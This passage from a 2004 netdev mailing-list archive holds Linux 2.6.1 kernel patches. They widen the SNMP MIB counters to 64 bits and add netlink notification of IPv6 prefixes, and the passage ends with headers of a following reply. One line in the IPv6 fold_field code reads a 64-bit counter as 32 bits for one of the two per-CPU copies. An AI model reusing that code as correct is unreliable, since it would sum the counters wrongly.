IpOutNoRoutes; + __u64 IpReasmTimeout; + __u64 IpReasmReqds; + __u64 IpReasmOKs; + __u64 IpReasmFails; + __u64 IpFragOKs; + __u64 IpFragFails; + __u64 IpFragCreates; + __u64 __pad[0]; }; /* @@ -74,29 +74,29 @@ */ struct ipv6_mib { - unsigned long Ip6InReceives; - unsigned long Ip6InHdrErrors; - unsigned long Ip6InTooBigErrors; - unsigned long Ip6InNoRoutes; - unsigned long Ip6InAddrErrors; - unsigned long Ip6InUnknownProtos; - unsigned long Ip6InTruncatedPkts; - unsigned long Ip6InDiscards; - unsigned long Ip6InDelivers; - unsigned long Ip6OutForwDatagrams; - unsigned long Ip6OutRequests; - unsigned long Ip6OutDiscards; - unsigned long Ip6OutNoRoutes; - unsigned long Ip6ReasmTimeout; - unsigned long Ip6ReasmReqds; - unsigned long Ip6ReasmOKs; - unsigned long Ip6ReasmFails; - unsigned long Ip6FragOKs; - unsigned long Ip6FragFails; - unsigned long Ip6FragCreates; - unsigned long Ip6InMcastPkts; - unsigned long Ip6OutMcastPkts; - unsigned long __pad[0]; + __u64 Ip6InReceives; + __u64 Ip6InHdrErrors; + __u64 Ip6InTooBigErrors; + __u64 Ip6InNoRoutes; + __u64 Ip6InAddrErrors; + __u64 Ip6InUnknownProtos; + __u64 Ip6InTruncatedPkts; + __u64 Ip6InDiscards; + __u64 Ip6InDelivers; + __u64 Ip6OutForwDatagrams; + __u64 Ip6OutRequests; + __u64 Ip6OutDiscards; + __u64 Ip6OutNoRoutes; + __u64 Ip6ReasmTimeout; + __u64 Ip6ReasmReqds; + __u64 Ip6ReasmOKs; + __u64 Ip6ReasmFails; + __u64 Ip6FragOKs; + __u64 Ip6FragFails; + __u64 Ip6FragCreates; + __u64 Ip6InMcastPkts; + __u64 Ip6OutMcastPkts; + __u64 __pad[0]; }; /* @@ -105,34 +105,34 @@ */ struct icmp_mib { - unsigned long IcmpInMsgs; - unsigned long IcmpInErrors; - unsigned long IcmpInDestUnreachs; - unsigned long IcmpInTimeExcds; - unsigned long IcmpInParmProbs; - unsigned long IcmpInSrcQuenchs; - unsigned long IcmpInRedirects; - unsigned long IcmpInEchos; - unsigned long IcmpInEchoReps; - unsigned long IcmpInTimestamps; - unsigned long IcmpInTimestampReps; - unsigned long IcmpInAddrMasks; - unsigned long IcmpInAddrMaskReps; - unsigned long IcmpOutMsgs; - unsigned long IcmpOutErrors; - unsigned long IcmpOutDestUnreachs; - unsigned long IcmpOutTimeExcds; - unsigned long IcmpOutParmProbs; - unsigned long IcmpOutSrcQuenchs; - unsigned long IcmpOutRedirects; - unsigned long IcmpOutEchos; - unsigned long IcmpOutEchoReps; - unsigned long IcmpOutTimestamps; - unsigned long IcmpOutTimestampReps; - unsigned long IcmpOutAddrMasks; - unsigned long IcmpOutAddrMaskReps; - unsigned long dummy; - unsigned long __pad[0]; + __u64 IcmpInMsgs; + __u64 IcmpInErrors; + __u64 IcmpInDestUnreachs; + __u64 IcmpInTimeExcds; + __u64 IcmpInParmProbs; + __u64 IcmpInSrcQuenchs; + __u64 IcmpInRedirects; + __u64 IcmpInEchos; + __u64 IcmpInEchoReps; + __u64 IcmpInTimestamps; + __u64 IcmpInTimestampReps; + __u64 IcmpInAddrMasks; + __u64 IcmpInAddrMaskReps; + __u64 IcmpOutMsgs; + __u64 IcmpOutErrors; + __u64 IcmpOutDestUnreachs; + __u64 IcmpOutTimeExcds; + __u64 IcmpOutParmProbs; + __u64 IcmpOutSrcQuenchs; + __u64 IcmpOutRedirects; + __u64 IcmpOutEchos; + __u64 IcmpOutEchoReps; + __u64 IcmpOutTimestamps; + __u64 IcmpOutTimestampReps; + __u64 IcmpOutAddrMasks; + __u64 IcmpOutAddrMaskReps; + __u64 dummy; + __u64 __pad[0]; }; /* @@ -140,40 +140,35 @@ */ struct icmpv6_mib { - unsigned long Icmp6InMsgs; - unsigned long Icmp6InErrors; - - unsigned long Icmp6InDestUnreachs; - unsigned long Icmp6InPktTooBigs; - unsigned long Icmp6InTimeExcds; - unsigned long Icmp6InParmProblems; - - unsigned long Icmp6InEchos; - unsigned long Icmp6InEchoReplies; - unsigned long Icmp6InGroupMembQueries; - unsigned long Icmp6InGroupMembResponses; - unsigned long Icmp6InGroupMembReductions; - unsigned long Icmp6InRouterSolicits; - unsigned long Icmp6InRouterAdvertisements; - unsigned long Icmp6InNeighborSolicits; - unsigned long Icmp6InNeighborAdvertisements; - unsigned long Icmp6InRedirects; - - unsigned long Icmp6OutMsgs; - - unsigned long Icmp6OutDestUnreachs; - unsigned long Icmp6OutPktTooBigs; - unsigned long Icmp6OutTimeExcds; - unsigned long Icmp6OutParmProblems; - - unsigned long Icmp6OutEchoReplies; - unsigned long Icmp6OutRouterSolicits; - unsigned long Icmp6OutNeighborSolicits; - unsigned long Icmp6OutNeighborAdvertisements; - unsigned long Icmp6OutRedirects; - unsigned long Icmp6OutGroupMembResponses; - unsigned long Icmp6OutGroupMembReductions; - unsigned long __pad[0]; + __u64 Icmp6InMsgs; + __u64 Icmp6InErrors; + __u64 Icmp6InDestUnreachs; + __u64 Icmp6InPktTooBigs; + __u64 Icmp6InTimeExcds; + __u64 Icmp6InParmProblems; + __u64 Icmp6InEchos; + __u64 Icmp6InEchoReplies; + __u64 Icmp6InGroupMembQueries; + __u64 Icmp6InGroupMembResponses; + __u64 Icmp6InGroupMembReductions; + __u64 Icmp6InRouterSolicits; + __u64 Icmp6InRouterAdvertisements; + __u64 Icmp6InNeighborSolicits; + __u64 Icmp6InNeighborAdvertisements; + __u64 Icmp6InRedirects; + __u64 Icmp6OutMsgs; + __u64 Icmp6OutDestUnreachs; + __u64 Icmp6OutPktTooBigs; + __u64 Icmp6OutTimeExcds; + __u64 Icmp6OutParmProblems; + __u64 Icmp6OutEchoReplies; + __u64 Icmp6OutRouterSolicits; + __u64 Icmp6OutNeighborSolicits; + __u64 Icmp6OutNeighborAdvertisements; + __u64 Icmp6OutRedirects; + __u64 Icmp6OutGroupMembResponses; + __u64 Icmp6OutGroupMembReductions; + __u64 __pad[0]; }; /* @@ -182,21 +177,21 @@ */ struct tcp_mib { - unsigned long TcpRtoAlgorithm; - unsigned long TcpRtoMin; - unsigned long TcpRtoMax; - unsigned long TcpMaxConn; - unsigned long TcpActiveOpens; - unsigned long TcpPassiveOpens; - unsigned long TcpAttemptFails; - unsigned long TcpEstabResets; - unsigned long TcpCurrEstab; - unsigned long TcpInSegs; - unsigned long TcpOutSegs; - unsigned long TcpRetransSegs; - unsigned long TcpInErrs; - unsigned long TcpOutRsts; - unsigned long __pad[0]; + __u64 TcpRtoAlgorithm; + __u64 TcpRtoMin; + __u64 TcpRtoMax; + __u64 TcpMaxConn; + __u64 TcpActiveOpens; + __u64 TcpPassiveOpens; + __u64 TcpAttemptFails; + __u64 TcpEstabResets; + __u64 TcpCurrEstab; + __u64 TcpInSegs; + __u64 TcpOutSegs; + __u64 TcpRetransSegs; + __u64 TcpInErrs; + __u64 TcpOutRsts; + __u64 __pad[0]; }; /* @@ -205,110 +200,110 @@ */ struct udp_mib { - unsigned long UdpInDatagrams; - unsigned long UdpNoPorts; - unsigned long UdpInErrors; - unsigned long UdpOutDatagrams; - unsigned long __pad[0]; + __u64 UdpInDatagrams; + __u64 UdpNoPorts; + __u64 UdpInErrors; + __u64 UdpOutDatagrams; + __u64 __pad[0]; }; /* draft-ietf-sigtran-sctp-mib-07.txt */ struct sctp_mib { - unsigned long SctpCurrEstab; - unsigned long SctpActiveEstabs; - unsigned long SctpPassiveEstabs; - unsigned long SctpAborteds; - unsigned long SctpShutdowns; - unsigned long SctpOutOfBlues; - unsigned long SctpChecksumErrors; - unsigned long SctpOutCtrlChunks; - unsigned long SctpOutOrderChunks; - unsigned long SctpOutUnorderChunks; - unsigned long SctpInCtrlChunks; - unsigned long SctpInOrderChunks; - unsigned long SctpInUnorderChunks; - unsigned long SctpFragUsrMsgs; - unsigned long SctpReasmUsrMsgs; - unsigned long SctpOutSCTPPacks; - unsigned long SctpInSCTPPacks; - unsigned long SctpRtoAlgorithm; - unsigned long SctpRtoMin; - unsigned long SctpRtoMax; - unsigned long SctpRtoInitial; - unsigned long SctpValCookieLife; - unsigned long SctpMaxInitRetr; - unsigned long __pad[0]; + __u64 SctpCurrEstab; + __u64 SctpActiveEstabs; + __u64 SctpPassiveEstabs; + __u64 SctpAborteds; + __u64 SctpShutdowns; + __u64 SctpOutOfBlues; + __u64 SctpChecksumErrors; + __u64 SctpOutCtrlChunks; + __u64 SctpOutOrderChunks; + __u64 SctpOutUnorderChunks; + __u64 SctpInCtrlChunks; + __u64 SctpInOrderChunks; + __u64 SctpInUnorderChunks; + __u64 SctpFragUsrMsgs; + __u64 SctpReasmUsrMsgs; + __u64 SctpOutSCTPPacks; + __u64 SctpInSCTPPacks; + __u64 SctpRtoAlgorithm; + __u64 SctpRtoMin; + __u64 SctpRtoMax; + __u64 SctpRtoInitial; + __u64 SctpValCookieLife; + __u64 SctpMaxInitRetr; + __u64 __pad[0]; }; struct linux_mib { - unsigned long SyncookiesSent; - unsigned long SyncookiesRecv; - unsigned long SyncookiesFailed; - unsigned long EmbryonicRsts; - unsigned long PruneCalled; - unsigned long RcvPruned; - unsigned long OfoPruned; - unsigned long OutOfWindowIcmps; - unsigned long LockDroppedIcmps; - unsigned long ArpFilter; - unsigned long TimeWaited; - unsigned long TimeWaitRecycled; - unsigned long TimeWaitKilled; - unsigned long PAWSPassiveRejected; - unsigned long PAWSActiveRejected; - unsigned long PAWSEstabRejected; - unsigned long DelayedACKs; - unsigned long DelayedACKLocked; - unsigned long DelayedACKLost; - unsigned long ListenOverflows; - unsigned long ListenDrops; - unsigned long TCPPrequeued; - unsigned long TCPDirectCopyFromBacklog; - unsigned long TCPDirectCopyFromPrequeue; - unsigned long TCPPrequeueDropped; - unsigned long TCPHPHits; - unsigned long TCPHPHitsToUser; - unsigned long TCPPureAcks; - unsigned long TCPHPAcks; - unsigned long TCPRenoRecovery; - unsigned long TCPSackRecovery; - unsigned long TCPSACKReneging; - unsigned long TCPFACKReorder; - unsigned long TCPSACKReorder; - unsigned long TCPRenoReorder; - unsigned long TCPTSReorder; - unsigned long TCPFullUndo; - unsigned long TCPPartialUndo; - unsigned long TCPDSACKUndo; - unsigned long TCPLossUndo; - unsigned long TCPLoss; - unsigned long TCPLostRetransmit; - unsigned long TCPRenoFailures; - unsigned long TCPSackFailures; - unsigned long TCPLossFailures; - unsigned long TCPFastRetrans; - unsigned long TCPForwardRetrans; - unsigned long TCPSlowStartRetrans; - unsigned long TCPTimeouts; - unsigned long TCPRenoRecoveryFail; - unsigned long TCPSackRecoveryFail; - unsigned long TCPSchedulerFailed; - unsigned long TCPRcvCollapsed; - unsigned long TCPDSACKOldSent; - unsigned long TCPDSACKOfoSent; - unsigned long TCPDSACKRecv; - unsigned long TCPDSACKOfoRecv; - unsigned long TCPAbortOnSyn; - unsigned long TCPAbortOnData; - unsigned long TCPAbortOnClose; - unsigned long TCPAbortOnMemory; - unsigned long TCPAbortOnTimeout; - unsigned long TCPAbortOnLinger; - unsigned long TCPAbortFailed; - unsigned long TCPMemoryPressures; - unsigned long __pad[0]; + __u64 SyncookiesSent; + __u64 SyncookiesRecv; + __u64 SyncookiesFailed; + __u64 EmbryonicRsts; + __u64 PruneCalled; + __u64 RcvPruned; + __u64 OfoPruned; + __u64 OutOfWindowIcmps; + __u64 LockDroppedIcmps; + __u64 ArpFilter; + __u64 TimeWaited; + __u64 TimeWaitRecycled; + __u64 TimeWaitKilled; + __u64 PAWSPassiveRejected; + __u64 PAWSActiveRejected; + __u64 PAWSEstabRejected; + __u64 DelayedACKs; + __u64 DelayedACKLocked; + __u64 DelayedACKLost; + __u64 ListenOverflows; + __u64 ListenDrops; + __u64 TCPPrequeued; + __u64 TCPDirectCopyFromBacklog; + __u64 TCPDirectCopyFromPrequeue; + __u64 TCPPrequeueDropped; + __u64 TCPHPHits; + __u64 TCPHPHitsToUser; + __u64 TCPPureAcks; + __u64 TCPHPAcks; + __u64 TCPRenoRecovery; + __u64 TCPSackRecovery; + __u64 TCPSACKReneging; + __u64 TCPFACKReorder; + __u64 TCPSACKReorder; + __u64 TCPRenoReorder; + __u64 TCPTSReorder; + __u64 TCPFullUndo; + __u64 TCPPartialUndo; + __u64 TCPDSACKUndo; + __u64 TCPLossUndo; + __u64 TCPLoss; + __u64 TCPLostRetransmit; + __u64 TCPRenoFailures; + __u64 TCPSackFailures; + __u64 TCPLossFailures; + __u64 TCPFastRetrans; + __u64 TCPForwardRetrans; + __u64 TCPSlowStartRetrans; + __u64 TCPTimeouts; + __u64 TCPRenoRecoveryFail; + __u64 TCPSackRecoveryFail; + __u64 TCPSchedulerFailed; + __u64 TCPRcvCollapsed; + __u64 TCPDSACKOldSent; + __u64 TCPDSACKOfoSent; + __u64 TCPDSACKRecv; + __u64 TCPDSACKOfoRecv; + __u64 TCPAbortOnSyn; + __u64 TCPAbortOnData; + __u64 TCPAbortOnClose; + __u64 TCPAbortOnMemory; + __u64 TCPAbortOnTimeout; + __u64 TCPAbortOnLinger; + __u64 TCPAbortFailed; + __u64 TCPMemoryPressures; + __u64 __pad[0]; }; diff -urN linux-2.6.1/net/ipv4/proc.c linux-2.6.1-ipv6mib2-64/net/ipv4/proc.c --- linux-2.6.1/net/ipv4/proc.c 2004-01-08 22:59:05.000000000 -0800 +++ linux-2.6.1-ipv6mib2-64/net/ipv4/proc.c 2004-01-13 14:06:51.000000000 -0800 @@ -87,21 +87,21 @@ .release = single_release, }; -static unsigned long +static __u64 fold_field(void *mib[], int nr) { - unsigned long res = 0; + __u64 res = 0; int i; for (i = 0; i < NR_CPUS; i++) { if (!cpu_possible(i)) continue; res += - *((unsigned long *) (((void *) per_cpu_ptr(mib[0], i)) + - sizeof (unsigned long) * nr)); + *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + + sizeof (__u64) * nr)); res += - *((unsigned long *) (((void *) per_cpu_ptr(mib[1], i)) + - sizeof (unsigned long) * nr)); + *((__u64 *) (((void *) per_cpu_ptr(mib[1], i)) + + sizeof (__u64) * nr)); } return res; } @@ -121,8 +121,8 @@ ipv4_devconf.forwarding ? 1 : 2, sysctl_ip_default_ttl); for (i = 0; - i < offsetof(struct ip_mib, __pad) / sizeof(unsigned long); i++) - seq_printf(seq, " %lu", + i < offsetof(struct ip_mib, __pad) / sizeof(__u64); i++) + seq_printf(seq, " %llu", fold_field((void **) ip_statistics, i)); seq_printf(seq, "\nIcmp: InMsgs InErrors InDestUnreachs InTimeExcds " @@ -134,8 +134,8 @@ "OutAddrMasks OutAddrMaskReps\nIcmp:"); for (i = 0; - i < offsetof(struct icmp_mib, dummy) / sizeof(unsigned long); i++) - seq_printf(seq, " %lu", + i < offsetof(struct icmp_mib, dummy) / sizeof(__u64); i++) + seq_printf(seq, " %llu", fold_field((void **) icmp_statistics, i)); seq_printf(seq, "\nTcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens " @@ -143,13 +143,13 @@ "InSegs OutSegs RetransSegs InErrs OutRsts\nTcp:"); for (i = 0; - i < offsetof(struct tcp_mib, __pad) / sizeof(unsigned long); i++) { - if (i == (offsetof(struct tcp_mib, TcpMaxConn) / sizeof(unsigned long))) + i < offsetof(struct tcp_mib, __pad) / sizeof(__u64); i++) { + if (i == (offsetof(struct tcp_mib, TcpMaxConn) / sizeof(__u64))) /* MaxConn field is negative, RFC 2012 */ seq_printf(seq, " %ld", - fold_field((void **) tcp_statistics, i)); + (long int)fold_field((void **) tcp_statistics, i)); else - seq_printf(seq, " %lu", + seq_printf(seq, " %llu", fold_field((void **) tcp_statistics, i)); } @@ -157,8 +157,8 @@ "Udp:"); for (i = 0; - i < offsetof(struct udp_mib, __pad) / sizeof(unsigned long); i++) - seq_printf(seq, " %lu", + i < offsetof(struct udp_mib, __pad) / sizeof(__u64); i++) + seq_printf(seq, " %llu", fold_field((void **) udp_statistics, i)); seq_putc(seq, '\n'); @@ -214,9 +214,9 @@ " TCPAbortFailed TCPMemoryPressures\n" "TcpExt:"); for (i = 0; - i < offsetof(struct linux_mib, __pad) / sizeof(unsigned long); + i < offsetof(struct linux_mib, __pad) / sizeof(__u64); i++) - seq_printf(seq, " %lu", + seq_printf(seq, " %llu", fold_field((void **) net_statistics, i)); seq_putc(seq, '\n'); return 0; diff -urN linux-2.6.1/net/ipv6/proc.c linux-2.6.1-ipv6mib2-64/net/ipv6/proc.c --- linux-2.6.1/net/ipv6/proc.c 2004-01-08 22:59:26.000000000 -0800 +++ linux-2.6.1-ipv6mib2-64/net/ipv6/proc.c 2004-01-12 16:21:43.000000000 -0800 @@ -60,13 +60,14 @@ struct snmp6_item { char *name; + int size; int offset; }; -#define SNMP6_SENTINEL { .name = NULL, .offset = 0 } +#define SNMP6_SENTINEL { .name = NULL, .size = 0, .offset = 0 } static struct snmp6_item snmp6_ipv6_list[] = { /* ipv6 mib according to RFC 2465 */ -#define SNMP6_GEN(x) { .name = #x , .offset = offsetof(struct ipv6_mib, x) } +#define SNMP6_GEN(x) { .name = #x , .size = sizeof(((struct ipv6_mib *)0)->x), .offset = offsetof(struct ipv6_mib, x) } SNMP6_GEN(Ip6InReceives), SNMP6_GEN(Ip6InHdrErrors), SNMP6_GEN(Ip6InTooBigErrors), @@ -104,7 +105,7 @@ OutRouterAdvertisements too. OutGroupMembQueries too. */ -#define SNMP6_GEN(x) { .name = #x , .offset = offsetof(struct icmpv6_mib, x) } +#define SNMP6_GEN(x) { .name = #x , .size = sizeof(((struct icmpv6_mib *)0)->x), .offset = offsetof(struct icmpv6_mib, x) } SNMP6_GEN(Icmp6InMsgs), SNMP6_GEN(Icmp6InErrors), SNMP6_GEN(Icmp6InDestUnreachs), @@ -138,7 +139,7 @@ }; static struct snmp6_item snmp6_udp6_list[] = { -#define SNMP6_GEN(x) { .name = "Udp6" #x , .offset = offsetof(struct udp_mib, Udp##x) } +#define SNMP6_GEN(x) { .name = "Udp6" #x , .size = sizeof(((struct udp_mib *)0)->Udp##x), .offset = offsetof(struct udp_mib, Udp##x) } SNMP6_GEN(InDatagrams), SNMP6_GEN(NoPorts), SNMP6_GEN(InErrors), @@ -147,22 +148,27 @@ SNMP6_SENTINEL }; -static unsigned long -fold_field(void *mib[], int offt) +static __u64 +fold_field(void *mib[], int size, int offt) { - unsigned long res = 0; + __u64 res = 0; int i; for (i = 0; i < NR_CPUS; i++) { if (!cpu_possible(i)) continue; - res += - *((unsigned long *) (((void *)per_cpu_ptr(mib[0], i)) + - offt)); - res += - *((unsigned long *) (((void *)per_cpu_ptr(mib[1], i)) + - offt)); - } + if (size == 4) { + res += *((__u32 *) + (((void *)per_cpu_ptr(mib[0], i)) + offt)); + res += *((__u32 *) + (((void *)per_cpu_ptr(mib[1], i)) + offt)); + } else if (size == 8) { + res += *((__u64 *) + (((void *)per_cpu_ptr(mib[0], i)) + offt)); + res += *((__u32 *) + (((void *)per_cpu_ptr(mib[1], i)) + offt)); + } + } return res; } @@ -170,9 +176,9 @@ snmp6_seq_show_item(struct seq_file *seq, void **mib, struct snmp6_item *itemlist) { int i; - for (i=0; itemlist[i].name; i++) - seq_printf(seq, "%-32s\t%lu\n", itemlist[i].name, - fold_field(mib, itemlist[i].offset)); + for (i=0; itemlist[i].name; i++) + seq_printf(seq, "%-32s\t%llu\n", itemlist[i].name, + fold_field(mib, itemlist[i].size, itemlist[i].offset)); } static int snmp6_seq_show(struct seq_file *seq, void *v) diff -urN linux-2.6.1/net/sctp/proc.c linux-2.6.1-ipv6mib2-64/net/sctp/proc.c --- linux-2.6.1/net/sctp/proc.c 2004-01-08 22:59:26.000000000 -0800 +++ linux-2.6.1-ipv6mib2-64/net/sctp/proc.c 2004-01-13 13:57:12.000000000 -0800 @@ -64,21 +64,21 @@ /* Return the current value of a particular entry in the mib by adding its * per cpu counters. */ -static unsigned long +static __u64 fold_field(void *mib[], int nr) { - unsigned long res = 0; + __u64 res = 0; int i; for (i = 0; i < NR_CPUS; i++) { if (!cpu_possible(i)) continue; res += - *((unsigned long *) (((void *) per_cpu_ptr(mib[0], i)) + - sizeof (unsigned long) * nr)); + *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + + sizeof (__u64) * nr)); res += - *((unsigned long *) (((void *) per_cpu_ptr(mib[1], i)) + - sizeof (unsigned long) * nr)); + *((__u64 *) (((void *) per_cpu_ptr(mib[1], i)) + + sizeof (__u64) * nr)); } return res; } @@ -89,7 +89,7 @@ int i; for (i = 0; i < sizeof(sctp_snmp_list) / sizeof(char *); i++) - seq_printf(seq, "%-32s\t%ld\n", sctp_snmp_list[i], + seq_printf(seq, "%-32s\t%llu\n", sctp_snmp_list[i], fold_field((void **)sctp_statistics, i)); return 0; --------------Boundary-00=_3W4IHK7H5IB4D0GPKYUU-- From mashirle@us.ibm.com Wed Jan 14 14:54:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 14:55:09 -0800 (PST) Received: from linux2.suntekindustrial.com (wbar1.sjo1-4-4-004-065.sjo1.dsl-verizon.net [4.4.4.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EMss6H015751 for ; Wed, 14 Jan 2004 14:54:54 -0800 Received: from ibm-mxl (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated bits=0) by linux2.suntekindustrial.com (8.12.8/8.12.8) with ESMTP id i0F0CabO012480; Wed, 14 Jan 2004 16:12:38 -0800 From: Shirley Ma Organization: IBM Linux To: "David S. Miller" Subject: Re: [PATCH] IPv6 MIB:ipv6Prefix netlink notification Date: Wed, 14 Jan 2004 14:54:27 -0800 User-Agent: KMail/1.4.3 Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> In-Reply-To: <20031205145700.120e9e68.davem@redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_RY4INU1LDCZHEZOXOVR8" Message-Id: <200401141454.27589.mashirle@us.ibm.com> X-archive-position: 2450 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 5100 Lines: 184 --------------Boundary-00=_RY4INU1LDCZHEZOXOVR8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > Let's queue this up for 2.6.1, please resend it after 2.6.0 is > released. This patch is agaist 2.6.1 kernel. Thanks Shirley Ma IBM Linux Technology Center --------------Boundary-00=_RY4INU1LDCZHEZOXOVR8 Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.1-ipv6mib3.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.1-ipv6mib3.patch" diff -urN linux-2.6.1/include/linux/rtnetlink.h linux-2.6.1-ipv6mib3/include/linux/rtnetlink.h --- linux-2.6.1/include/linux/rtnetlink.h 2004-01-08 22:59:55.000000000 -0800 +++ linux-2.6.1-ipv6mib3/include/linux/rtnetlink.h 2004-01-13 10:26:07.000000000 -0800 @@ -44,7 +44,10 @@ #define RTM_DELTFILTER (RTM_BASE+29) #define RTM_GETTFILTER (RTM_BASE+30) -#define RTM_MAX (RTM_BASE+31) +#define RTM_NEWPREFIX (RTM_BASE+36) +#define RTM_GETPREFIX (RTM_BASE+38) + +#define RTM_MAX (RTM_BASE+39) /* Generic structure for encapsulation of optional route information. @@ -459,6 +462,34 @@ unsigned ifi_change; /* IFF_* change mask */ }; +/******************************************************************** + * prefix information + ****/ + +struct prefixmsg +{ + unsigned char prefix_family; + int prefix_ifindex; + unsigned char prefix_type; + unsigned char prefix_len; + unsigned char prefix_flags; +}; + +enum +{ + PREFIX_UNSPEC, + PREFIX_ADDRESS, + PREFIX_CACHEINFO, +}; + +#define PREFIX_MAX PREFIX_CACHEINFO + +struct prefix_cacheinfo +{ + __u32 preferred_time; + __u32 valid_time; +}; + /* The struct should be in sync with struct net_device_stats */ struct rtnl_link_stats { @@ -615,6 +646,8 @@ #define RTMGRP_DECnet_IFADDR 0x1000 #define RTMGRP_DECnet_ROUTE 0x4000 +#define RTMGRP_IPV6_PREFIX 0x20000 + /* End of information exported to user level */ #ifdef __KERNEL__ diff -urN linux-2.6.1/include/net/if_inet6.h linux-2.6.1-ipv6mib3/include/net/if_inet6.h --- linux-2.6.1/include/net/if_inet6.h 2004-01-08 23:00:04.000000000 -0800 +++ linux-2.6.1-ipv6mib3/include/net/if_inet6.h 2004-01-13 10:26:07.000000000 -0800 @@ -25,6 +25,10 @@ #define IF_RA_RCVD 0x20 #define IF_RS_SENT 0x10 +/* prefix flags */ +#define IF_PREFIX_ONLINK 0x01 +#define IF_PREFIX_AUTOCONF 0x02 + #ifdef __KERNEL__ struct inet6_ifaddr diff -urN linux-2.6.1/net/ipv6/addrconf.c linux-2.6.1-ipv6mib3/net/ipv6/addrconf.c --- linux-2.6.1/net/ipv6/addrconf.c 2004-01-08 23:00:03.000000000 -0800 +++ linux-2.6.1-ipv6mib3/net/ipv6/addrconf.c 2004-01-13 10:26:07.000000000 -0800 @@ -138,6 +138,8 @@ static void addrconf_rs_timer(unsigned long data); static void ipv6_ifa_notify(int event, struct inet6_ifaddr *ifa); +static void inet6_prefix_notify(int event, struct inet6_dev *idev, + struct prefix_info *pinfo); static int ipv6_chk_same_addr(const struct in6_addr *addr, struct net_device *dev); static struct notifier_block *inet6addr_chain; @@ -1491,6 +1493,7 @@ addrconf_verify(0); } } + inet6_prefix_notify(RTM_NEWPREFIX, in6_dev, pinfo); in6_dev_put(in6_dev); } @@ -2802,6 +2805,66 @@ return skb->len; } +static int inet6_fill_prefix(struct sk_buff *skb, struct inet6_dev *idev, + struct prefix_info *pinfo, u32 pid, u32 seq, int event) +{ + struct prefixmsg *pmsg; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + struct prefix_cacheinfo ci; + + nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*pmsg)); + + if (pid) + nlh->nlmsg_flags |= NLM_F_MULTI; + + pmsg = NLMSG_DATA(nlh); + pmsg->prefix_family = AF_INET6; + pmsg->prefix_ifindex = idev->dev->ifindex; + pmsg->prefix_len = pinfo->prefix_len; + pmsg->prefix_type = pinfo->type; + + pmsg->prefix_flags = 0; + if (pinfo->onlink) + pmsg->prefix_flags |= IF_PREFIX_ONLINK; + if (pinfo->autoconf) + pmsg->prefix_flags |= IF_PREFIX_AUTOCONF; + + RTA_PUT(skb, PREFIX_ADDRESS, sizeof(pinfo->prefix), &pinfo->prefix); + + ci.preferred_time = ntohl(pinfo->prefered); + ci.valid_time = ntohl(pinfo->valid); + RTA_PUT(skb, PREFIX_CACHEINFO, sizeof(ci), &ci); + + nlh->nlmsg_len = skb->tail - b; + return skb->len; + +nlmsg_failure: +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static void inet6_prefix_notify(int event, struct inet6_dev *idev, + struct prefix_info *pinfo) +{ + struct sk_buff *skb; + int size = NLMSG_SPACE(sizeof(struct prefixmsg)+128); + + skb = alloc_skb(size, GFP_ATOMIC); + if (!skb) { + netlink_set_err(rtnl, 0, RTMGRP_IPV6_PREFIX, ENOBUFS); + return; + } + if (inet6_fill_prefix(skb, idev, pinfo, 0, 0, event) < 0) { + kfree_skb(skb); + netlink_set_err(rtnl, 0, RTMGRP_IPV6_PREFIX, EINVAL); + return; + } + NETLINK_CB(skb).dst_groups = RTMGRP_IPV6_PREFIX; + netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_PREFIX, GFP_ATOMIC); +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, --------------Boundary-00=_RY4INU1LDCZHEZOXOVR8-- From romieu@fr.zoreil.com Wed Jan 14 15:36:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 15:37:20 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ENar6H017817 for ; Wed, 14 Jan 2004 15:36:54 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0ENXLsW008240; Thu, 15 Jan 2004 00:33:21 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0ENXJEj008239; Thu, 15 Jan 2004 00:33:19 +0100 Date: Thu, 15 Jan 2004 00:33:19 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: dpollock@acm.org, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz Subject: Re: [patch] 2.6.1-bk1-netdev4 - latent bug Message-ID: <20040115003319.B4646@electric-eye.fr.zoreil.com> References: <20040114233350.A4646@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040114233350.A4646@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Wed, Jan 14, 2004 at 11:33:50PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2451 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 798 Lines: 